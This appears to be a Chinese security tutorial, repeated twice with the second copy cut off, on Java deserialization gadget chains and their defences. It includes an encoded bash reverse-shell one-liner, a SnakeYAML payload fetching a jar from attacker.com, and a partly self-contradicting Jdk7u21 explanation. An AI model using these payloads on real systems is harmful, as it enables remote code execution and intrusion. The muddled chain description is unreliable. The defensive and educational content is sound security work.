1. 项目概述从“黑盒”到“白盒”的Java反序列化漏洞深度剖析搞Java安全这些年我处理过不少因为反序列化漏洞导致的“线上事故”。很多时候开发同学一脸懵“我就调了个readObject()数据还原回来怎么就RCE远程代码执行了” 这个标题“Java安全—原生反序列化重写方法链条分析触发类”精准地指向了Java安全领域一个经典且危险的核心议题如何利用Java原生反序列化机制通过精心构造的“链”Gadget Chain最终触发恶意代码执行。这不仅仅是CTF比赛里的常客更是真实渗透测试和红蓝对抗中攻击者打开内网大门的一把“万能钥匙”。今天我就以一个“挖洞”和“修洞”的双重视角带大家彻底拆解这个链条的每一个环节让你不仅知道漏洞怎么利用更明白它为何存在以及如何从根本上防御。简单来说Java原生反序列化漏洞的利用是一个“寻找跳板串联路径最终点火”的过程。攻击者控制的是一个序列化后的二进制数据流比如一个通过网络传输或从文件读取的字节数组。他的目标是让Java程序在反序列化这个数据流时执行他预设的任意代码。但readObject()本身并不会直接执行代码它只是按照规则恢复对象状态。这就需要利用目标Java应用依赖的库如Commons Collections、Fastjson、Jackson、甚至JDK自身中一些特定类的方法逻辑将它们像多米诺骨牌一样串联起来。其中“重写方法”尤其是readObject、readResolve、finalize等是关键的“发力点”而“链条分析”就是找出并组装这些骨牌的艺术“触发类”则是推倒第一块骨牌的那只手。理解这个过程对于安全工程师构建有效的运行时防护RASP、编写安全的代码对于开发者避免引入危险依赖都有着至关重要的意义。2. 漏洞原理核心当“数据”僭越为“代码”要理解整个攻击链条我们必须先回到源头看看Java的反序列化机制到底提供了怎样的“可乘之机”。2.1 序列化与反序列化的本质契约Java的序列化Serializable接口设计的初衷是为了方便对象的持久化存储和网络传输。它是一份“契约”一个类实现了Serializable就承诺“我可以把自己转换成一串字节并且未来能从这串字节里原样恢复”。ObjectOutputStream.writeObject()负责编码ObjectInputStream.readObject()负责解码。关键在于readObject()方法。如果一个类定义了私有的readObject(ObjectInputStream in)方法那么在反序列化时默认的序列化机制将不会生效取而代之的是调用这个自定义的readObject方法。这原本是为了让开发者能更灵活地控制反序列化过程比如进行额外的数据校验或初始化。但正是这个“后门”成了攻击者的第一个着力点。攻击者可以寻找那些在readObject方法中调用了其他“危险方法”的类。注意这里说的“危险方法”通常指那些最终能导致代码执行或敏感操作的方法例如Runtime.exec()、Method.invoke()、Class.newInstance()、ProcessBuilder.start()或者能通过反射修改属性、调用getter/setter的方法。2.2 重写方法攻击链条的“关节”除了readObject还有几个在对象生命周期中会被JVM自动调用的方法也常常被利用readResolve()在readObject之后调用用于替换反序列化生成的对象。攻击链有时会利用它来返回一个精心构造的“坏”对象。finalize()对象被垃圾回收前调用的方法。在某些复杂的链中通过控制对象的析构顺序来触发代码。hashCode()与equals()当对象被放入HashMap、HashSet等集合时会被调用。这是最经典、最常用的触发方式之一因为很多链的起点就是想办法让反序列化过程中某个对象的hashCode或equals被自动计算从而“被动”执行我们的恶意逻辑。compareTo()对象在TreeMap、TreeSet等有序集合中比较时调用。Getter/Setter方法通过反射调用如PropertyUtils.getProperty或某些框架的自动绑定机制可以触发这些方法。攻击者的目标就是找到一个类我们称之为“触发类”或“入口类”它的readObject方法或其他上述方法在反序列化时会被自动调用并且在这个方法内部它调用了另一个对象的某个“危险方法”。而那个被调用的对象其属性又可以被我们通过序列化数据流来控制。这样我们就通过一个类的逻辑“跳转”到了另一个类的逻辑。2.3 链条的形成从入口到执行单一的“跳转”远远不够。因为从“入口类”的readObject到最终执行Runtime.exec(“calc”)中间往往隔着很多层。我们需要找到一连串的类A-B-C-D…其中A的readObject调用了B的某个方法m1()。B的m1()方法内部通过对某个字段该字段类型为C的操作调用了C的某个方法m2()。C的m2()方法最终调用了危险方法Runtime.exec()。这一连串的类和方法调用关系就构成了一个“利用链”Gadget Chain。而构造攻击载荷Payload的过程就是按照这个链的依赖关系从最底层的执行类如封装了命令的类开始层层向上包装最终创建一个A类的实例并将其序列化。当这个序列化数据被目标程序读取时链式反应就会发生。3. 经典链条深度解析以Commons Collections 3.1为例理论总是抽象的我们拿一个“上古神器”但原理极其经典的链——Apache Commons Collections (CC) 3.1的反序列化链来拆解。这条链是Java反序列化漏洞研究的里程碑理解了它其他链都触类旁通。3.1 工具类中的“危险品”Transformer与ChainedTransformerCC库提供了很多好用的集合工具其中Transformer接口用于将一个对象转换成另一个对象。问题出在它的几个实现类ConstantTransformer无论输入什么都返回一个预设的常量对象。InvokerTransformer这是核心危险品。它通过反射调用输入对象的任意方法。// InvokerTransformer 的 transform 方法简化逻辑 public Object transform(Object input) { if (input null) { return null; } try { Class cls input.getClass(); Method method cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); // 这里可以执行任意方法 } catch (Exception ex) { // ... } }ChainedTransformer将多个Transformer串联起来前一个的输出作为后一个的输入。攻击者可以这样构造一个Transformer链第一个ConstantTransformer返回Runtime.class。第二个InvokerTransformer调用Runtime.class的getMethod(“getRuntime”)方法返回getRuntime这个Method对象。第三个InvokerTransformer调用上一步Method对象的invoke方法参数为null得到Runtime.getRuntime()返回的Runtime对象实例。第四个InvokerTransformer调用Runtime对象的exec方法参数是我们的命令字符串。这样一个ChainedTransformer对象就具备了执行任意命令的能力。但光有这个“炸弹”还不够我们需要一个“引爆器”。3.2 引爆器之一LazyMap与AnnotationInvocationHandlerLazyMap是CC中的一个装饰器它可以在get(Object key)方法被调用时通过一个Transformer来生成key对应的value。如果我们把上面构造的恶意ChainedTransformer设置给LazyMap那么当LazyMap.get(某个key)被调用时命令就会被执行。那么如何让反序列化过程中自动调用LazyMap.get()呢这就用到了JDK内部的sun.reflect.annotation.AnnotationInvocationHandler类以下简称AIH。这个类在JDK 8u66之前是可序列化的。它的readObject方法中有一段关键逻辑private void readObject(java.io.ObjectInputStream s) throws ... { s.defaultReadObject(); // memberValues 是一个 Map MapString, Object mv memberValues; // 遍历这个Map的每一项 for (Map.EntryString, Object e : mv.entrySet()) { String name e.getKey(); Object value e.getValue(); // 这里会尝试获取Map中key对应的value可能触发LazyMap.get()! // ... 一些类型检查代码 } }如果我们将memberValues设置成一个LazyMap并且这个LazyMap的Transformer是我们的恶意链那么当AIH反序列化时遍历memberValues就会触发get()从而引爆整个链条。3.3 完整的CC1链组装与触发流程构造执行层创建执行命令的ChainedTransformer。构造触发层用这个Transformer创建一个LazyMap。构造入口层通过反射实例化一个AnnotationInvocationHandler对象并将其memberValues属性设置为上面的LazyMap。序列化将这个AnnotationInvocationHandler对象序列化成字节数组。攻击将字节数组发送给目标如写入文件、网络传输。受害者反序列化目标程序调用ObjectInputStream.readObject()读取该字节数组。恢复AnnotationInvocationHandler实例。执行其readObject方法。readObject方法遍历memberValues即LazyMap。遍历时调用LazyMap.get(key)。get(key)触发绑定的Transformer.transform(key)。Transformer链开始执行Runtime.class-getRuntime方法 -invoke得到Runtime实例 -exec(“命令”)。命令执行系统命令在服务器上被执行。这条链的触发点触发类就是AnnotationInvocationHandler其readObject方法是自动执行的入口。而LazyMap.get()和InvokerTransformer.transform()则是链条中关键的传动环节。实操心得在实际漏洞利用中直接使用Runtime.exec()有时会受到环境限制如Linux下没有图形界面calc命令不存在。更稳定的做法是使用bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}这种编码后的方式反弹shell或者直接写入Webshell。构造Payload时务必考虑目标系统的兼容性。4. 其他常见利用链与触发类分析CC1链只是冰山一角。随着JDK版本更新和CC库的修复安全研究者和攻击者又发现了更多有趣的链。4.1 CommonsCollections 3/4 的其他链CC2, CC3, CC4, CC5, CC6, CC7CC库就像一个“漏洞宝库”不同版本的修复催生了不同的绕过方式CC6链不依赖AnnotationInvocationHandler而是利用HashSet、HashMap在反序列化时为了计算哈希值会调用hashCode()的特性结合TiedMapEntry其hashCode()会调用底层Map的get方法和LazyMap来触发。这条链的触发类是HashSet或HashMap适用范围更广。CC5链利用BadAttributeValueExpException的readObject方法其中会调用其val成员的toString()方法。通过TiedMapEntry.toString()来触发LazyMap.get()。CC3链为了绕过高版本JDK对AnnotationInvocationHandler和InvokerTransformer的防御如不存在或黑名单CC3链使用了TrAXFilter类及其Transformer实现如InstantiateTransformer来加载字节码实现了更通用的“模板类”攻击。其触发类可能是AnnotationInvocationHandler旧版或BadAttributeValueExpException等。这些链的演变体现了攻防的螺旋上升防御方通过黑名单禁止某些类攻击方就寻找新的、功能类似的“替代品”来组装链条。4.2 JDK内部链Jdk7u21这条链完全不依赖第三方库只使用JDK自身的类因此通用性极强。它的核心是利用类javax.management.BadAttributeValueExpException。它的readObject方法会直接调用其val字段的toString()方法。串联val字段被设置为一个javax.management.relation.RoleList或RoleUnresolvedList对象。这些集合类重写了toString()而toString()会遍历内部数组并调用每个元素的toString()。执行数组元素被设置为javax.management.remote.rmi.RMIConnector对象不这里有一个更巧妙的技巧。实际上Jdk7u21链利用了LinkedHashSet在反序列化时为了保持元素唯一性会调用元素的equals()方法。通过精心构造两个特殊的AnnotationInvocationHandler对象作为LinkedHashSet的元素让它们的equals()比较触发memberValues一个Proxy代理对象的方法调用最终通过动态代理机制将调用路由到InvocationHandler的invoke方法在其中执行命令。这条链的构思非常精妙它充分利用了JDK对象反序列化时的各种隐含逻辑toString、equals、hashCode和动态代理机制是学习链式思维的最佳案例。其触发类是LinkedHashSet。4.3 现代组件链Fastjson、Jackson、XStream、SnakeYAML现代Java应用大量使用JSON、XML、YAML等格式的序列化库它们同样存在反序列化问题但原理和触发点与原生Java序列化不同。Fastjson其漏洞核心通常在于autotype特性。在反序列化时如果JSON字符串中包含了type字段指定一个类Fastjson会尝试实例化这个类。攻击者可以指定一个具有危险构造函数、setter或getter的类如com.sun.rowset.JdbcRowSetImpl并通过其dataSourceName属性触发JNDI查找进而导致远程类加载或RCE。这里的触发点是Fastjson解析type后的类实例化及属性填充过程。Jackson类似Fastjson通过ObjectMapper.enableDefaultTyping()开启多态类型处理时可能引入风险。攻击者可以构造包含恶意类名的JSON利用其setter或特定构造函数。例如利用org.springframework.context.support.FileSystemXmlApplicationContext加载远程恶意XML配置文件实现RCE。XStream早期版本在反序列化XML时会根据标签名直接创建对应类的实例没有任何限制。可以指定如java.lang.ProcessBuilder这样的类并通过标签内容为其构造函数参数赋值导致命令执行。其触发点是XStream的unmarshal方法。SnakeYAMLYAML解析器当使用Yaml.load()而非safeLoad()时YAML中的!!标签可以指定类名同样会导致任意类实例化。例如!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://attacker.com/yaml-payload.jar”]]]]可以触发远程jar加载。这些链的“触发类”不再是readObject而是这些库自身的反序列化入口方法如parseObject、readValue、unmarshal、load但链条的组装思想是相通的寻找从库的入口到危险执行点之间的可达路径。5. 漏洞挖掘与链条分析实战方法论知道了经典案例我们如何自己去发现和分析一条新的利用链呢这需要一套系统的方法和工具。5.1 静态分析寻找“危险方法”与“可串接点”目标确定选择一个广泛使用的Java第三方库或框架版本。危险方法定位使用代码搜索工具如IDEA的全局搜索、grep命令、或专门的静态分析工具在库的源码或Jar包中搜索以下模式Method.invoke(Class.newInstance(Constructor.newInstance(Runtime.exec(ProcessBuilder.start(java.nio.file.Files的写入方法JNDI查找相关InitialContext.lookup,NamingManager动态类加载ClassLoader.loadClass,defineClass,URLClassLoader反射修改字段/方法可见性setAccessible(true)回溯调用链找到危险方法后向上回溯调用它的方法。分析这个方法的参数是否可控是否来自类的字段、方法参数。如果参数可控那么这个类就可能成为链条中的一环。寻找自动调用入口继续向上回溯寻找哪些方法会在对象生命周期中被自动调用实现了Serializable且自定义了readObject、readResolve、writeReplace的类。重写了hashCode、equals、toString、compareTo、finalize的类。某些框架特定的生命周期回调如Spring的InitializingBean.afterPropertiesSet。评估可控性对于找到的潜在入口类和方法评估其关键字段是否可以通过序列化被设置。即这些字段是否是public的或者是否有setter方法或者是transient但被readObject方法手动处理了。5.2 动态调试验证与组装链条静态分析给出线索动态调试才能确认链条是否通畅。环境搭建准备一个简单的测试项目引入目标库。使用IDEIDEA或Eclipse的远程调试功能。构造PoC从最底层的执行点开始手动编写代码创建对象并尝试调用你认为可能被串联起来的方法。使用调试器一步步跟踪观察对象状态和调用栈。序列化测试将组装好的“疑似入口对象”进行序列化然后立即反序列化在反序列化的readObject方法入口处打上断点跟踪整个流程。解决障碍调试中常会遇到问题访问限制某些类或方法是包私有的。可以尝试在同一个包下创建测试类或者使用反射强行调用/设置。条件判断目标方法内部可能有if判断需要让条件成立。仔细分析判断逻辑通过设置特定字段值来满足条件。异常处理链条执行过程中可能抛出异常中断。需要调整参数或寻找异常处理逻辑中是否还有其他可利用的路径。简化与优化最初的链条可能很冗长。尝试移除不必要的环节看看是否依然能通。优化Payload大小使其更便于传输。5.3 常用工具介绍SerializationDumper一个强大的工具可以将Java序列化数据流解析成人类可读的结构帮助你理解Payload的组成。ysoserial这是反序列化研究的“瑞士军刀”。它集成了几乎所有已知的公共利用链CC, Jdk7u21, CommonsBeanutils, Jython, 等等可以一键生成针对不同链的Payload。它的源码也是学习链条构造的绝佳资料。Burp Suite 插件 – Java Deserialization Scanner在Burp中自动检测目标是否存在Java反序列化漏洞并可以生成和发送测试Payload。GadgetInspector一个静态分析工具可以自动化地扫描Jar包寻找潜在的反序列化利用链。虽然误报率不低但能提供非常有价值的线索。6. 防御策略从开发到运维的立体防护知道了攻击原理防御就有了方向。防御不是单点而是一个体系。6.1 代码层白名单与安全编码首选使用安全的序列化替代方案JSON使用Jackson或Gson并绝对禁用enableDefaultTyping()等自动类型推导功能。只反序列化到确定的、安全的POJO类。其他Protobuf, Thrift, Avro等跨语言序列化方案通常更安全因为它们有预定义的、严格的模式Schema。如果必须使用Java原生序列化严格验证输入源只从可信的、经过认证的来源反序列化数据。使用ObjectInputFilterJDK 9这是最有效的内置防御机制。可以设置一个严格的白名单只允许反序列化应用确实需要的类。// 示例设置一个基于模式的白名单过滤器 ObjectInputFilter filter ObjectInputFilter.Config.createFilter( “maxdepth10;maxarray1000;maxrefs500;java.lang.*;java.util.*;com.yourcompany.safe.*” ); ObjectInputStream ois new ObjectInputStream(inputStream); ois.setObjectInputFilter(filter);重写ObjectInputStream.resolveClass在JDK 9之前可以通过继承ObjectInputStream并重写resolveClass方法对将要反序列化的类进行校验只允许加载预期的类。避免反序列化不可信数据这是根本原则。不要将HTTP参数、Cookie、未经验证的网络数据等直接传递给ObjectInputStream。6.2 依赖与组件层供应链安全依赖库安全管理持续更新及时将第三方库如Commons Collections, Fastjson, Jackson等升级到已知安全的最新版本。使用Maven的versions:display-dependency-updates插件或依赖检查工具如OWASP Dependency-Check定期扫描。最小化引入非必要不引入库。仔细评估库的安全性历史。使用加固版本有些组织提供了常见库的加固版本如commons-collections-k移除了危险类。JVM层加固使用安全管理器SecurityManager配置严格的策略文件限制执行命令、文件读写、网络访问等敏感操作。虽然配置复杂但在关键环境中是强有力的屏障。JVM Agent防护部署RASP运行时应用自我保护产品。RASP通过在JVM层注入探针可以实时监控Runtime.exec、Method.invoke、ClassLoader.defineClass等关键方法的调用结合调用栈分析在恶意行为发生时进行阻断。这是对抗未知利用链的有效手段。6.3 运维与架构层网络隔离与最小权限运行Java应用的服务器应遵循最小权限原则。应用进程使用低权限用户运行限制其网络出站连接防止反弹Shell、外带数据使用容器化技术进行隔离。WAF/IPS规则在网关或防火墙上部署规则检测和拦截常见的序列化魔术头AC ED 00 05是Java序列化流的标志以及已知的利用链特征码。但这只是一种缓解措施无法防御未知攻击或编码后的Payload。监控与审计启用Java应用的安全日志监控异常的反序列化操作、大量的反射调用或进程创建行为。使用APM工具监控应用性能异常的资源消耗可能是被攻击的迹象。7. 实战排查与应急响应指南当怀疑系统存在或正在遭受反序列化攻击时应该怎么做7.1 攻击迹象识别应用异常出现与ClassNotFoundException、NoClassDefFoundError相关的奇怪错误但类路径正常。这可能是攻击者尝试加载不存在的恶意类名。日志中出现可疑类名在异常堆栈或日志中看到来自org.apache.commons.collections.*、com.sun.*、javax.management.*等敏感包下的类并且调用链看起来异常例如从HTTP请求处理直接跳到了InvokerTransformer.transform。系统资源异常CPU或内存突然飙升出现未知的网络连接特别是反向连接有新的可疑进程被创建。WAF/IDS告警网络设备检测到序列化流量或已知攻击特征。7.2 现场分析与取证立即隔离如果可能将受影响实例从负载均衡中摘除但先不要重启或关闭保留现场。抓取数据线程堆栈使用jstack pid或jcmd pid Thread.print命令多次抓取线程堆栈寻找正在执行可疑方法如invoke,exec的线程。堆内存转储使用jmap -dump:live,formatb,fileheap.hprof pid生成堆转储文件。可以用MAT等工具分析查找ChainedTransformer、InvokerTransformer、TemplatesImpl等危险类的实例。网络连接使用netstat -antp或ss -antp查看异常的外联IP和端口。进程信息使用ps auxf查看是否有未知的bash、sh、curl、wget等进程。分析请求检查应用访问日志如Tomcat的localhost_access_log寻找可能包含序列化数据的请求POST Body可能是二进制乱码Content-Type可能非标准。尝试使用SerializationDumper解析请求体。7.3 漏洞定位与修复定位入口根据堆栈信息或日志定位到执行反序列化操作的代码位置哪个Controller、哪个Service、哪个工具方法。评估修复方案短期/紧急修复在入口处直接替换为安全的序列化方案如换用Jackson或者立即添加严格的ObjectInputFilter白名单。如果无法修改代码可以考虑在Web层Filter/Interceptor对请求内容进行检测和拦截。长期修复升级所有存在已知漏洞的第三方依赖库。全面审计代码消除所有不必要的Java原生序列化用法。推动架构改造使用更安全的通信协议和数据格式。回归测试修复后必须进行充分的测试确保业务功能正常并且使用ysoserial等工具生成的Payload确实被拦截。我个人在应急响应中最大的体会是防御反序列化漏洞最好的时机是在编码设计阶段其次就是在漏洞被利用之前。一旦攻击者通过反序列化漏洞获得了立足点往往意味着内网已经失守后续的排查和损失控制会非常困难。因此将安全左移在开发流程中融入对反序列化等危险操作的评审和规范配合严格的依赖管理和运行时监控才能构建起真正有效的防御体系。对于安全研究者而言理解这些链条的构造艺术不是为了攻击而是为了能更深刻地理解软件系统的脆弱点从而设计出更坚固的防御方案。
Java反序列化漏洞深度剖析:从原理到防御的攻防实战
1. 项目概述从“黑盒”到“白盒”的Java反序列化漏洞深度剖析搞Java安全这些年我处理过不少因为反序列化漏洞导致的“线上事故”。很多时候开发同学一脸懵“我就调了个readObject()数据还原回来怎么就RCE远程代码执行了” 这个标题“Java安全—原生反序列化重写方法链条分析触发类”精准地指向了Java安全领域一个经典且危险的核心议题如何利用Java原生反序列化机制通过精心构造的“链”Gadget Chain最终触发恶意代码执行。这不仅仅是CTF比赛里的常客更是真实渗透测试和红蓝对抗中攻击者打开内网大门的一把“万能钥匙”。今天我就以一个“挖洞”和“修洞”的双重视角带大家彻底拆解这个链条的每一个环节让你不仅知道漏洞怎么利用更明白它为何存在以及如何从根本上防御。简单来说Java原生反序列化漏洞的利用是一个“寻找跳板串联路径最终点火”的过程。攻击者控制的是一个序列化后的二进制数据流比如一个通过网络传输或从文件读取的字节数组。他的目标是让Java程序在反序列化这个数据流时执行他预设的任意代码。但readObject()本身并不会直接执行代码它只是按照规则恢复对象状态。这就需要利用目标Java应用依赖的库如Commons Collections、Fastjson、Jackson、甚至JDK自身中一些特定类的方法逻辑将它们像多米诺骨牌一样串联起来。其中“重写方法”尤其是readObject、readResolve、finalize等是关键的“发力点”而“链条分析”就是找出并组装这些骨牌的艺术“触发类”则是推倒第一块骨牌的那只手。理解这个过程对于安全工程师构建有效的运行时防护RASP、编写安全的代码对于开发者避免引入危险依赖都有着至关重要的意义。2. 漏洞原理核心当“数据”僭越为“代码”要理解整个攻击链条我们必须先回到源头看看Java的反序列化机制到底提供了怎样的“可乘之机”。2.1 序列化与反序列化的本质契约Java的序列化Serializable接口设计的初衷是为了方便对象的持久化存储和网络传输。它是一份“契约”一个类实现了Serializable就承诺“我可以把自己转换成一串字节并且未来能从这串字节里原样恢复”。ObjectOutputStream.writeObject()负责编码ObjectInputStream.readObject()负责解码。关键在于readObject()方法。如果一个类定义了私有的readObject(ObjectInputStream in)方法那么在反序列化时默认的序列化机制将不会生效取而代之的是调用这个自定义的readObject方法。这原本是为了让开发者能更灵活地控制反序列化过程比如进行额外的数据校验或初始化。但正是这个“后门”成了攻击者的第一个着力点。攻击者可以寻找那些在readObject方法中调用了其他“危险方法”的类。注意这里说的“危险方法”通常指那些最终能导致代码执行或敏感操作的方法例如Runtime.exec()、Method.invoke()、Class.newInstance()、ProcessBuilder.start()或者能通过反射修改属性、调用getter/setter的方法。2.2 重写方法攻击链条的“关节”除了readObject还有几个在对象生命周期中会被JVM自动调用的方法也常常被利用readResolve()在readObject之后调用用于替换反序列化生成的对象。攻击链有时会利用它来返回一个精心构造的“坏”对象。finalize()对象被垃圾回收前调用的方法。在某些复杂的链中通过控制对象的析构顺序来触发代码。hashCode()与equals()当对象被放入HashMap、HashSet等集合时会被调用。这是最经典、最常用的触发方式之一因为很多链的起点就是想办法让反序列化过程中某个对象的hashCode或equals被自动计算从而“被动”执行我们的恶意逻辑。compareTo()对象在TreeMap、TreeSet等有序集合中比较时调用。Getter/Setter方法通过反射调用如PropertyUtils.getProperty或某些框架的自动绑定机制可以触发这些方法。攻击者的目标就是找到一个类我们称之为“触发类”或“入口类”它的readObject方法或其他上述方法在反序列化时会被自动调用并且在这个方法内部它调用了另一个对象的某个“危险方法”。而那个被调用的对象其属性又可以被我们通过序列化数据流来控制。这样我们就通过一个类的逻辑“跳转”到了另一个类的逻辑。2.3 链条的形成从入口到执行单一的“跳转”远远不够。因为从“入口类”的readObject到最终执行Runtime.exec(“calc”)中间往往隔着很多层。我们需要找到一连串的类A-B-C-D…其中A的readObject调用了B的某个方法m1()。B的m1()方法内部通过对某个字段该字段类型为C的操作调用了C的某个方法m2()。C的m2()方法最终调用了危险方法Runtime.exec()。这一连串的类和方法调用关系就构成了一个“利用链”Gadget Chain。而构造攻击载荷Payload的过程就是按照这个链的依赖关系从最底层的执行类如封装了命令的类开始层层向上包装最终创建一个A类的实例并将其序列化。当这个序列化数据被目标程序读取时链式反应就会发生。3. 经典链条深度解析以Commons Collections 3.1为例理论总是抽象的我们拿一个“上古神器”但原理极其经典的链——Apache Commons Collections (CC) 3.1的反序列化链来拆解。这条链是Java反序列化漏洞研究的里程碑理解了它其他链都触类旁通。3.1 工具类中的“危险品”Transformer与ChainedTransformerCC库提供了很多好用的集合工具其中Transformer接口用于将一个对象转换成另一个对象。问题出在它的几个实现类ConstantTransformer无论输入什么都返回一个预设的常量对象。InvokerTransformer这是核心危险品。它通过反射调用输入对象的任意方法。// InvokerTransformer 的 transform 方法简化逻辑 public Object transform(Object input) { if (input null) { return null; } try { Class cls input.getClass(); Method method cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); // 这里可以执行任意方法 } catch (Exception ex) { // ... } }ChainedTransformer将多个Transformer串联起来前一个的输出作为后一个的输入。攻击者可以这样构造一个Transformer链第一个ConstantTransformer返回Runtime.class。第二个InvokerTransformer调用Runtime.class的getMethod(“getRuntime”)方法返回getRuntime这个Method对象。第三个InvokerTransformer调用上一步Method对象的invoke方法参数为null得到Runtime.getRuntime()返回的Runtime对象实例。第四个InvokerTransformer调用Runtime对象的exec方法参数是我们的命令字符串。这样一个ChainedTransformer对象就具备了执行任意命令的能力。但光有这个“炸弹”还不够我们需要一个“引爆器”。3.2 引爆器之一LazyMap与AnnotationInvocationHandlerLazyMap是CC中的一个装饰器它可以在get(Object key)方法被调用时通过一个Transformer来生成key对应的value。如果我们把上面构造的恶意ChainedTransformer设置给LazyMap那么当LazyMap.get(某个key)被调用时命令就会被执行。那么如何让反序列化过程中自动调用LazyMap.get()呢这就用到了JDK内部的sun.reflect.annotation.AnnotationInvocationHandler类以下简称AIH。这个类在JDK 8u66之前是可序列化的。它的readObject方法中有一段关键逻辑private void readObject(java.io.ObjectInputStream s) throws ... { s.defaultReadObject(); // memberValues 是一个 Map MapString, Object mv memberValues; // 遍历这个Map的每一项 for (Map.EntryString, Object e : mv.entrySet()) { String name e.getKey(); Object value e.getValue(); // 这里会尝试获取Map中key对应的value可能触发LazyMap.get()! // ... 一些类型检查代码 } }如果我们将memberValues设置成一个LazyMap并且这个LazyMap的Transformer是我们的恶意链那么当AIH反序列化时遍历memberValues就会触发get()从而引爆整个链条。3.3 完整的CC1链组装与触发流程构造执行层创建执行命令的ChainedTransformer。构造触发层用这个Transformer创建一个LazyMap。构造入口层通过反射实例化一个AnnotationInvocationHandler对象并将其memberValues属性设置为上面的LazyMap。序列化将这个AnnotationInvocationHandler对象序列化成字节数组。攻击将字节数组发送给目标如写入文件、网络传输。受害者反序列化目标程序调用ObjectInputStream.readObject()读取该字节数组。恢复AnnotationInvocationHandler实例。执行其readObject方法。readObject方法遍历memberValues即LazyMap。遍历时调用LazyMap.get(key)。get(key)触发绑定的Transformer.transform(key)。Transformer链开始执行Runtime.class-getRuntime方法 -invoke得到Runtime实例 -exec(“命令”)。命令执行系统命令在服务器上被执行。这条链的触发点触发类就是AnnotationInvocationHandler其readObject方法是自动执行的入口。而LazyMap.get()和InvokerTransformer.transform()则是链条中关键的传动环节。实操心得在实际漏洞利用中直接使用Runtime.exec()有时会受到环境限制如Linux下没有图形界面calc命令不存在。更稳定的做法是使用bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjcuMC4wLjEvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}这种编码后的方式反弹shell或者直接写入Webshell。构造Payload时务必考虑目标系统的兼容性。4. 其他常见利用链与触发类分析CC1链只是冰山一角。随着JDK版本更新和CC库的修复安全研究者和攻击者又发现了更多有趣的链。4.1 CommonsCollections 3/4 的其他链CC2, CC3, CC4, CC5, CC6, CC7CC库就像一个“漏洞宝库”不同版本的修复催生了不同的绕过方式CC6链不依赖AnnotationInvocationHandler而是利用HashSet、HashMap在反序列化时为了计算哈希值会调用hashCode()的特性结合TiedMapEntry其hashCode()会调用底层Map的get方法和LazyMap来触发。这条链的触发类是HashSet或HashMap适用范围更广。CC5链利用BadAttributeValueExpException的readObject方法其中会调用其val成员的toString()方法。通过TiedMapEntry.toString()来触发LazyMap.get()。CC3链为了绕过高版本JDK对AnnotationInvocationHandler和InvokerTransformer的防御如不存在或黑名单CC3链使用了TrAXFilter类及其Transformer实现如InstantiateTransformer来加载字节码实现了更通用的“模板类”攻击。其触发类可能是AnnotationInvocationHandler旧版或BadAttributeValueExpException等。这些链的演变体现了攻防的螺旋上升防御方通过黑名单禁止某些类攻击方就寻找新的、功能类似的“替代品”来组装链条。4.2 JDK内部链Jdk7u21这条链完全不依赖第三方库只使用JDK自身的类因此通用性极强。它的核心是利用类javax.management.BadAttributeValueExpException。它的readObject方法会直接调用其val字段的toString()方法。串联val字段被设置为一个javax.management.relation.RoleList或RoleUnresolvedList对象。这些集合类重写了toString()而toString()会遍历内部数组并调用每个元素的toString()。执行数组元素被设置为javax.management.remote.rmi.RMIConnector对象不这里有一个更巧妙的技巧。实际上Jdk7u21链利用了LinkedHashSet在反序列化时为了保持元素唯一性会调用元素的equals()方法。通过精心构造两个特殊的AnnotationInvocationHandler对象作为LinkedHashSet的元素让它们的equals()比较触发memberValues一个Proxy代理对象的方法调用最终通过动态代理机制将调用路由到InvocationHandler的invoke方法在其中执行命令。这条链的构思非常精妙它充分利用了JDK对象反序列化时的各种隐含逻辑toString、equals、hashCode和动态代理机制是学习链式思维的最佳案例。其触发类是LinkedHashSet。4.3 现代组件链Fastjson、Jackson、XStream、SnakeYAML现代Java应用大量使用JSON、XML、YAML等格式的序列化库它们同样存在反序列化问题但原理和触发点与原生Java序列化不同。Fastjson其漏洞核心通常在于autotype特性。在反序列化时如果JSON字符串中包含了type字段指定一个类Fastjson会尝试实例化这个类。攻击者可以指定一个具有危险构造函数、setter或getter的类如com.sun.rowset.JdbcRowSetImpl并通过其dataSourceName属性触发JNDI查找进而导致远程类加载或RCE。这里的触发点是Fastjson解析type后的类实例化及属性填充过程。Jackson类似Fastjson通过ObjectMapper.enableDefaultTyping()开启多态类型处理时可能引入风险。攻击者可以构造包含恶意类名的JSON利用其setter或特定构造函数。例如利用org.springframework.context.support.FileSystemXmlApplicationContext加载远程恶意XML配置文件实现RCE。XStream早期版本在反序列化XML时会根据标签名直接创建对应类的实例没有任何限制。可以指定如java.lang.ProcessBuilder这样的类并通过标签内容为其构造函数参数赋值导致命令执行。其触发点是XStream的unmarshal方法。SnakeYAMLYAML解析器当使用Yaml.load()而非safeLoad()时YAML中的!!标签可以指定类名同样会导致任意类实例化。例如!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [“http://attacker.com/yaml-payload.jar”]]]]可以触发远程jar加载。这些链的“触发类”不再是readObject而是这些库自身的反序列化入口方法如parseObject、readValue、unmarshal、load但链条的组装思想是相通的寻找从库的入口到危险执行点之间的可达路径。5. 漏洞挖掘与链条分析实战方法论知道了经典案例我们如何自己去发现和分析一条新的利用链呢这需要一套系统的方法和工具。5.1 静态分析寻找“危险方法”与“可串接点”目标确定选择一个广泛使用的Java第三方库或框架版本。危险方法定位使用代码搜索工具如IDEA的全局搜索、grep命令、或专门的静态分析工具在库的源码或Jar包中搜索以下模式Method.invoke(Class.newInstance(Constructor.newInstance(Runtime.exec(ProcessBuilder.start(java.nio.file.Files的写入方法JNDI查找相关InitialContext.lookup,NamingManager动态类加载ClassLoader.loadClass,defineClass,URLClassLoader反射修改字段/方法可见性setAccessible(true)回溯调用链找到危险方法后向上回溯调用它的方法。分析这个方法的参数是否可控是否来自类的字段、方法参数。如果参数可控那么这个类就可能成为链条中的一环。寻找自动调用入口继续向上回溯寻找哪些方法会在对象生命周期中被自动调用实现了Serializable且自定义了readObject、readResolve、writeReplace的类。重写了hashCode、equals、toString、compareTo、finalize的类。某些框架特定的生命周期回调如Spring的InitializingBean.afterPropertiesSet。评估可控性对于找到的潜在入口